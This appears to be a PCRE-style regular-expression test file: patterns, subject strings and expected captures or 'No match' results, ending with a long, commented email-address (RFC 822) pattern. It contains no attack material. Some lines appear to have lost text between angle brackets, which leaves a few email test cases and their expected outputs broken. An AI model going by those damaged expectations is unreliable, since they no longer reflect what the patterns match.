aaaabcxyzzzzpqrrrabbbxyyyyypqAzz + aaabcxyzpqrrrabbxyyyypABzz + 0: aaabcxyzpqrrrabbxyyyypABzz + aaabcxyzpqrrrabbxyyyypABBzz + 0: aaabcxyzpqrrrabbxyyyypABBzz + >>>aaabxyzpqrrrabbxyyyypqAzz + 0: aaabxyzpqrrrabbxyyyypqAzz + >aaaabxyzpqrrrabbxyyyypqAzz + 0: aaaabxyzpqrrrabbxyyyypqAzz + >>>>abcxyzpqrrrabbxyyyypqAzz + 0: abcxyzpqrrrabbxyyyypqAzz +\= Expect no match + abxyzpqrrabbxyyyypqAzz +No match + abxyzpqrrrrabbxyyyypqAzz +No match + abxyzpqrrrabxyyyypqAzz +No match + aaaabcxyzzzzpqrrrabbbxyyyyyypqAzz +No match + aaaabcxyzzzzpqrrrabbbxyyypqAzz +No match + aaabcxyzpqrrrabbxyyyypqqqqqqqAzz +No match + +/^(abc){1,2}zz/ + abczz + 0: abczz + 1: abc + abcabczz + 0: abcabczz + 1: abc +\= Expect no match + zz +No match + abcabcabczz +No match + >>abczz +No match + +/^(b+?|a){1,2}?c/ + bc + 0: bc + 1: b + bbc + 0: bbc + 1: b + bbbc + 0: bbbc + 1: bb + bac + 0: bac + 1: a + bbac + 0: bbac + 1: a + aac + 0: aac + 1: a + abbbbbbbbbbbc + 0: abbbbbbbbbbbc + 1: bbbbbbbbbbb + bbbbbbbbbbbac + 0: bbbbbbbbbbbac + 1: a +\= Expect no match + aaac +No match + abbbbbbbbbbbac +No match + +/^(b+|a){1,2}c/ + bc + 0: bc + 1: b + bbc + 0: bbc + 1: bb + bbbc + 0: bbbc + 1: bbb + bac + 0: bac + 1: a + bbac + 0: bbac + 1: a + aac + 0: aac + 1: a + abbbbbbbbbbbc + 0: abbbbbbbbbbbc + 1: bbbbbbbbbbb + bbbbbbbbbbbac + 0: bbbbbbbbbbbac + 1: a +\= Expect no match + aaac +No match + abbbbbbbbbbbac +No match + +/^(b+|a){1,2}?bc/ + bbc + 0: bbc + 1: b + +/^(b*|ba){1,2}?bc/ + babc + 0: babc + 1: ba + bbabc + 0: bbabc + 1: ba + bababc + 0: bababc + 1: ba +\= Expect no match + bababbc +No match + babababc +No match + +/^(ba|b*){1,2}?bc/ + babc + 0: babc + 1: ba + bbabc + 0: bbabc + 1: ba + bababc + 0: bababc + 1: ba +\= Expect no match + bababbc +No match + babababc +No match + +#/^\ca\cA\c[;\c:/ +# \x01\x01\e;z +# 0: \x01\x01\x1b;z + +/^[ab\]cde]/ + athing + 0: a + bthing + 0: b + ]thing + 0: ] + cthing + 0: c + dthing + 0: d + ething + 0: e +\= Expect no match + fthing +No match + [thing +No match + \\thing +No match + +/^[]cde]/ + ]thing + 0: ] + cthing + 0: c + dthing + 0: d + ething + 0: e +\= Expect no match + athing +No match + fthing +No match + +/^[^ab\]cde]/ + fthing + 0: f + [thing + 0: [ + \\thing + 0: \ +\= Expect no match + athing +No match + bthing +No match + ]thing +No match + cthing +No match + dthing +No match + ething +No match + +/^[^]cde]/ + athing + 0: a + fthing + 0: f +\= Expect no match + ]thing +No match + cthing +No match + dthing +No match + ething +No match + +# DLC - I don't get this one +#/^\/ +#  +# 0: \x81 + +#updated to handle 16-bits utf8 +/^ÿ/ + ÿ + 0: \xc3\xbf + +/^[0-9]+$/ + 0 + 0: 0 + 1 + 0: 1 + 2 + 0: 2 + 3 + 0: 3 + 4 + 0: 4 + 5 + 0: 5 + 6 + 0: 6 + 7 + 0: 7 + 8 + 0: 8 + 9 + 0: 9 + 10 + 0: 10 + 100 + 0: 100 +\= Expect no match + abc +No match + +/^.*nter/ + enter + 0: enter + inter + 0: inter + uponter + 0: uponter + +/^xxx[0-9]+$/ + xxx0 + 0: xxx0 + xxx1234 + 0: xxx1234 +\= Expect no match + xxx +No match + +/^.+[0-9][0-9][0-9]$/ + x123 + 0: x123 + x1234 + 0: x1234 + xx123 + 0: xx123 + 123456 + 0: 123456 +\= Expect no match + 123 +No match + +/^.+?[0-9][0-9][0-9]$/ + x123 + 0: x123 + x1234 + 0: x1234 + xx123 + 0: xx123 + 123456 + 0: 123456 +\= Expect no match + 123 +No match + +/^([^!]+)!(.+)=apquxz\.ixr\.zzz\.ac\.uk$/ + abc!pqr=apquxz.ixr.zzz.ac.uk + 0: abc!pqr=apquxz.ixr.zzz.ac.uk + 1: abc + 2: pqr +\= Expect no match + !pqr=apquxz.ixr.zzz.ac.uk +No match + abc!=apquxz.ixr.zzz.ac.uk +No match + abc!pqr=apquxz:ixr.zzz.ac.uk +No match + abc!pqr=apquxz.ixr.zzz.ac.ukk +No match + +/:/ + Well, we need a colon: somewhere + 0: : +\= Expect no match + Fail without a colon +No match + +/([\da-f:]+)$/i + 0abc + 0: 0abc + 1: 0abc + abc + 0: abc + 1: abc + fed + 0: fed + 1: fed + E + 0: E + 1: E + :: + 0: :: + 1: :: + 5f03:12C0::932e + 0: 5f03:12C0::932e + 1: 5f03:12C0::932e + fed def + 0: def + 1: def + Any old stuff + 0: ff + 1: ff +\= Expect no match + 0zzz +No match + gzzz +No match + fed\x20 +No match + Any old rubbish +No match + +/^.*\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ + .1.2.3 + 0: .1.2.3 + 1: 1 + 2: 2 + 3: 3 + A.12.123.0 + 0: A.12.123.0 + 1: 12 + 2: 123 + 3: 0 +\= Expect no match + .1.2.3333 +No match + 1.2.3 +No match + 1234.2.3 +No match + +/^(\d+)\s+IN\s+SOA\s+(\S+)\s+(\S+)\s*\(\s*$/ + 1 IN SOA non-sp1 non-sp2( + 0: 1 IN SOA non-sp1 non-sp2( + 1: 1 + 2: non-sp1 + 3: non-sp2 + 1 IN SOA non-sp1 non-sp2 ( + 0: 1 IN SOA non-sp1 non-sp2 ( + 1: 1 + 2: non-sp1 + 3: non-sp2 +\= Expect no match + 1IN SOA non-sp1 non-sp2( +No match + +/^[a-zA-Z\d][a-zA-Z\d\-]*(\.[a-zA-Z\d][a-zA-z\d\-]*)*\.$/ + a. + 0: a. + Z. + 0: Z. + 2. + 0: 2. + ab-c.pq-r. + 0: ab-c.pq-r. + 1: .pq-r + sxk.zzz.ac.uk. + 0: sxk.zzz.ac.uk. + 1: .uk + x-.y-. + 0: x-.y-. + 1: .y- +\= Expect no match + -abc.peq. +No match + +/^\*\.[a-z]([a-z\-\d]*[a-z\d]+)?(\.[a-z]([a-z\-\d]*[a-z\d]+)?)*$/ + *.a + 0: *.a + *.b0-a + 0: *.b0-a + 1: 0-a + *.c3-b.c + 0: *.c3-b.c + 1: 3-b + 2: .c + *.c-a.b-c + 0: *.c-a.b-c + 1: -a + 2: .b-c + 3: -c +\= Expect no match + *.0 +No match + *.a- +No match + *.a-b.c- +No match + *.c-a.0-c +No match + +/^(?=ab(de))(abd)(e)/ + abde + 0: abde + 1: de + 2: abd + 3: e + +/^(?!(ab)de|x)(abd)(f)/ + abdf + 0: abdf + 1: + 2: abd + 3: f + +/^(?=(ab(cd)))(ab)/ + abcd + 0: ab + 1: abcd + 2: cd + 3: ab + +/^[\da-f](\.[\da-f])*$/i + a.b.c.d + 0: a.b.c.d + 1: .d + A.B.C.D + 0: A.B.C.D + 1: .D + a.b.c.1.2.3.C + 0: a.b.c.1.2.3.C + 1: .C + +/^\".*\"\s*(;.*)?$/ + \"1234\" + 0: "1234" + \"abcd\" ; + 0: "abcd" ; + 1: ; + \"\" ; rhubarb + 0: "" ; rhubarb + 1: ; rhubarb +\= Expect no match + \"1234\" : things +No match + +/^$/ + \ + 0: +\= Expect no match + A non-empty line +No match + +/ ^ a (?# begins with a) b\sc (?# then b c) $ (?# then end)/x + ab c + 0: ab c +\= Expect no match + abc +No match + ab cde +No match + +/(?x) ^ a (?# begins with a) b\sc (?# then b c) $ (?# then end)/ + ab c + 0: ab c +\= Expect no match + abc +No match + ab cde +No match + +/^ a\ b[c ]d $/x + a bcd + 0: a bcd + a b d + 0: a b d +\= Expect no match + abcd +No match + ab d +No match + +/^(a(b(c)))(d(e(f)))(h(i(j)))(k(l(m)))$/ + abcdefhijklm + 0: abcdefhijklm + 1: abc + 2: bc + 3: c + 4: def + 5: ef + 6: f + 7: hij + 8: ij + 9: j +10: klm +11: lm +12: m + +/^(?:a(b(c)))(?:d(e(f)))(?:h(i(j)))(?:k(l(m)))$/ + abcdefhijklm + 0: abcdefhijklm + 1: bc + 2: c + 3: ef + 4: f + 5: ij + 6: j + 7: lm + 8: m + +#/^[\w][\W][\s][\S][\d][\D][\b][\n][\c]][\022]/ +# a+ Z0+\x08\n\x1d\x12 +# 0: a+ Z0+\x08\x0a\x1d\x12 + +/^[.^$|()*+?{,}]+/ + .^\$(*+)|{?,?} + 0: .^$(*+)|{?,?} + +/^a*\w/ + z + 0: z + az + 0: az + aaaz + 0: aaaz + a + 0: a + aa + 0: aa + aaaa + 0: aaaa + a+ + 0: a + aa+ + 0: aa + +/^a*?\w/ + z + 0: z + az + 0: a + aaaz + 0: a + a + 0: a + aa + 0: a + aaaa + 0: a + a+ + 0: a + aa+ + 0: a + +/^a+\w/ + az + 0: az + aaaz + 0: aaaz + aa + 0: aa + aaaa + 0: aaaa + aa+ + 0: aa + +/^a+?\w/ + az + 0: az + aaaz + 0: aa + aa + 0: aa + aaaa + 0: aa + aa+ + 0: aa + +/^\d{8}\w{2,}/ + 1234567890 + 0: 1234567890 + 12345678ab + 0: 12345678ab + 12345678__ + 0: 12345678__ +\= Expect no match + 1234567 +No match + +/^[aeiou\d]{4,5}$/ + uoie + 0: uoie + 1234 + 0: 1234 + 12345 + 0: 12345 + aaaaa + 0: aaaaa +\= Expect no match + 123456 +No match + +/^[aeiou\d]{4,5}?/ + uoie + 0: uoie + 1234 + 0: 1234 + 12345 + 0: 1234 + aaaaa + 0: aaaa + 123456 + 0: 1234 + +/\A(abc|def)=(\1){2,3}\Z/ + abc=abcabc + 0: abc=abcabc + 1: abc + 2: abc + def=defdefdef + 0: def=defdefdef + 1: def + 2: def +\= Expect no match + abc=defdef +No match + +/^(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)\11*(\3\4)\1(?#)2$/ + abcdefghijkcda2 + 0: abcdefghijkcda2 + 1: a + 2: b + 3: c + 4: d + 5: e + 6: f + 7: g + 8: h + 9: i +10: j +11: k +12: cd + abcdefghijkkkkcda2 + 0: abcdefghijkkkkcda2 + 1: a + 2: b + 3: c + 4: d + 5: e + 6: f + 7: g + 8: h + 9: i +10: j +11: k +12: cd + +/(cat(a(ract|tonic)|erpillar)) \1()2(3)/ + cataract cataract23 + 0: cataract cataract23 + 1: cataract + 2: aract + 3: ract + 4: + 5: 3 + catatonic catatonic23 + 0: catatonic catatonic23 + 1: catatonic + 2: atonic + 3: tonic + 4: + 5: 3 + caterpillar caterpillar23 + 0: caterpillar caterpillar23 + 1: caterpillar + 2: erpillar + 3: + 4: + 5: 3 + + +/^From +([^ ]+) +[a-zA-Z][a-zA-Z][a-zA-Z] +[a-zA-Z][a-zA-Z][a-zA-Z] +[0-9]?[0-9] +[0-9][0-9]:[0-9][0-9]/ + From abcd Mon Sep 01 12:33:02 1997 + 0: From abcd Mon Sep 01 12:33 + 1: abcd + +/^From\s+\S+\s+([a-zA-Z]{3}\s+){2}\d{1,2}\s+\d\d:\d\d/ + From abcd Mon Sep 01 12:33:02 1997 + 0: From abcd Mon Sep 01 12:33 + 1: Sep + From abcd Mon Sep 1 12:33:02 1997 + 0: From abcd Mon Sep 1 12:33 + 1: Sep +\= Expect no match + From abcd Sep 01 12:33:02 1997 +No match + +/^12.34/s + 12\n34 + 0: 12\x0a34 + 12\r34 + 0: 12\x0d34 + +/\w+(?=\t)/ + the quick brown\t fox + 0: brown + +/foo(?!bar)(.*)/ + foobar is foolish see? + 0: foolish see? + 1: lish see? + +/(?:(?!foo)...|^.{0,2})bar(.*)/ + foobar crowbar etc + 0: rowbar etc + 1: etc + barrel + 0: barrel + 1: rel + 2barrel + 0: 2barrel + 1: rel + A barrel + 0: A barrel + 1: rel + +/^(\D*)(?=\d)(?!123)/ + abc456 + 0: abc + 1: abc +\= Expect no match + abc123 +No match + +/^1234(?# test newlines + inside)/ + 1234 + 0: 1234 + +/^1234 #comment in extended re + /x + 1234 + 0: 1234 + +/#rhubarb + abcd/x + abcd + 0: abcd + +/^abcd#rhubarb/x + abcd + 0: abcd + +/^(a)\1{2,3}(.)/ + aaab + 0: aaab + 1: a + 2: b + aaaab + 0: aaaab + 1: a + 2: b + aaaaab + 0: aaaaa + 1: a + 2: a + aaaaaab + 0: aaaaa + 1: a + 2: a + +/(?!^)abc/ + the abc + 0: abc +\= Expect no match + abc +No match + +/(?=^)abc/ + abc + 0: abc +\= Expect no match + the abc +No match + +/^[ab]{1,3}(ab*|b)/ + aabbbbb + 0: aabb + 1: b + +/^[ab]{1,3}?(ab*|b)/ + aabbbbb + 0: aabbbbb + 1: abbbbb + +/^[ab]{1,3}?(ab*?|b)/ + aabbbbb + 0: aa + 1: a + +/^[ab]{1,3}(ab*?|b)/ + aabbbbb + 0: aabb + 1: b + +/ (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* # optional leading comment +(?: (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +" (?: # opening quote... +[^\\\x80-\xff\n\015"] # Anything except backslash and quote +| # or +\\ [^\x80-\xff] # Escaped something (something != CR) +)* " # closing quote +) # initial word +(?: (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* \. (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +" (?: # opening quote... +[^\\\x80-\xff\n\015"] # Anything except backslash and quote +| # or +\\ [^\x80-\xff] # Escaped something (something != CR) +)* " # closing quote +) )* # further okay, if led by a period +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* @ (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| \[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) # initial subdomain +(?: # +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* \. # if led by a period... +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| \[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) # ...further okay +)* +# address +| # or +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +" (?: # opening quote... +[^\\\x80-\xff\n\015"] # Anything except backslash and quote +| # or +\\ [^\x80-\xff] # Escaped something (something != CR) +)* " # closing quote +) # one word, optionally followed by.... +(?: +[^()<>@,;:".\\\[\]\x80-\xff\000-\010\012-\037] | # atom and space parts, or... +\( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) | # comments, or... + +" (?: # opening quote... +[^\\\x80-\xff\n\015"] # Anything except backslash and quote +| # or +\\ [^\x80-\xff] # Escaped something (something != CR) +)* " # closing quote +# quoted strings +)* +< (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* # leading < +(?: @ (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| \[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) # initial subdomain +(?: # +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* \. # if led by a period... +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| \[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) # ...further okay +)* + +(?: (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* , (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* @ (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| \[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) # initial subdomain +(?: # +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* \. # if led by a period... +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| \[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) # ...further okay +)* +)* # further okay, if led by comma +: # closing colon +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* )? # optional route +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +" (?: # opening quote... +[^\\\x80-\xff\n\015"] # Anything except backslash and quote +| # or +\\ [^\x80-\xff] # Escaped something (something != CR) +)* " # closing quote +) # initial word +(?: (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* \. (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +" (?: # opening quote... +[^\\\x80-\xff\n\015"] # Anything except backslash and quote +| # or +\\ [^\x80-\xff] # Escaped something (something != CR) +)* " # closing quote +) )* # further okay, if led by a period +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* @ (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| \[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) # initial subdomain +(?: # +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* \. # if led by a period... +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* (?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| \[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) # ...further okay +)* +# address spec +(?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* > # trailing > +# name and address +) (?: [\040\t] | \( +(?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] | \( (?: [^\\\x80-\xff\n\015()] | \\ [^\x80-\xff] )* \) )* +\) )* # optional trailing comment +/x + Alan Other + 0: Alan Other + + 0: user@dom.ain + user\@dom.ain + 0: user@dom.ain + \"A. Other\" (a comment) + 0: "A. Other" (a comment) + A. Other (a comment) + 0: Other (a comment) + \"/s=user/ou=host/o=place/prmd=uu.yy/admd= /c=gb/\"\@x400-re.lay + 0: "/s=user/ou=host/o=place/prmd=uu.yy/admd= /c=gb/"@x400-re.lay + A missing angle @,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +# Atom +| # or +" # " +[^\\\x80-\xff\n\015"] * # normal +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015"] * )* # ( special normal* )* +" # " +# Quoted string +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +\. +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +# Atom +| # or +" # " +[^\\\x80-\xff\n\015"] * # normal +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015"] * )* # ( special normal* )* +" # " +# Quoted string +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# additional words +)* +@ +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +\[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +(?: +\. +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +| +\[ # [ +(?: [^\\\x80-\xff\n\015\[\]] | \\ [^\x80-\xff] )* # stuff +\] # ] +) +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# optional trailing comments +)* +# address +| # or +(?: +[^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]+ # some number of atom characters... +(?![^(\040)<>@,;:".\\\[\]\000-\037\x80-\xff]) # ..not followed by something that could be part of an atom +# Atom +| # or +" # " +[^\\\x80-\xff\n\015"] * # normal +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015"] * )* # ( special normal* )* +" # " +# Quoted string +) +# leading word +[^()<>@,;:".\\\[\]\x80-\xff\000-\010\012-\037] * # "normal" atoms and or spaces +(?: +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +| +" # " +[^\\\x80-\xff\n\015"] * # normal +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015"] * )* # ( special normal* )* +" # " +) # "special" comment or quoted string +[^()<>@,;:".\\\[\]\x80-\xff\000-\010\012-\037] * # more "normal" +)* +< +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: \\ [^\x80-\xff] [^\\\x80-\xff\n\015()] * )* # (special normal*)* +\) # ) +) # special +[^\\\x80-\xff\n\015()] * # normal* +)* # )* +\) # ) +[\040\t]* )* # If comment found, allow more spaces. +# < +(?: +@ +[\040\t]* # Nab whitespace. +(?: +\( # ( +[^\\\x80-\xff\n\015()] * # normal* +(?: # ( +(?: \\ [^\x80-\xff] | 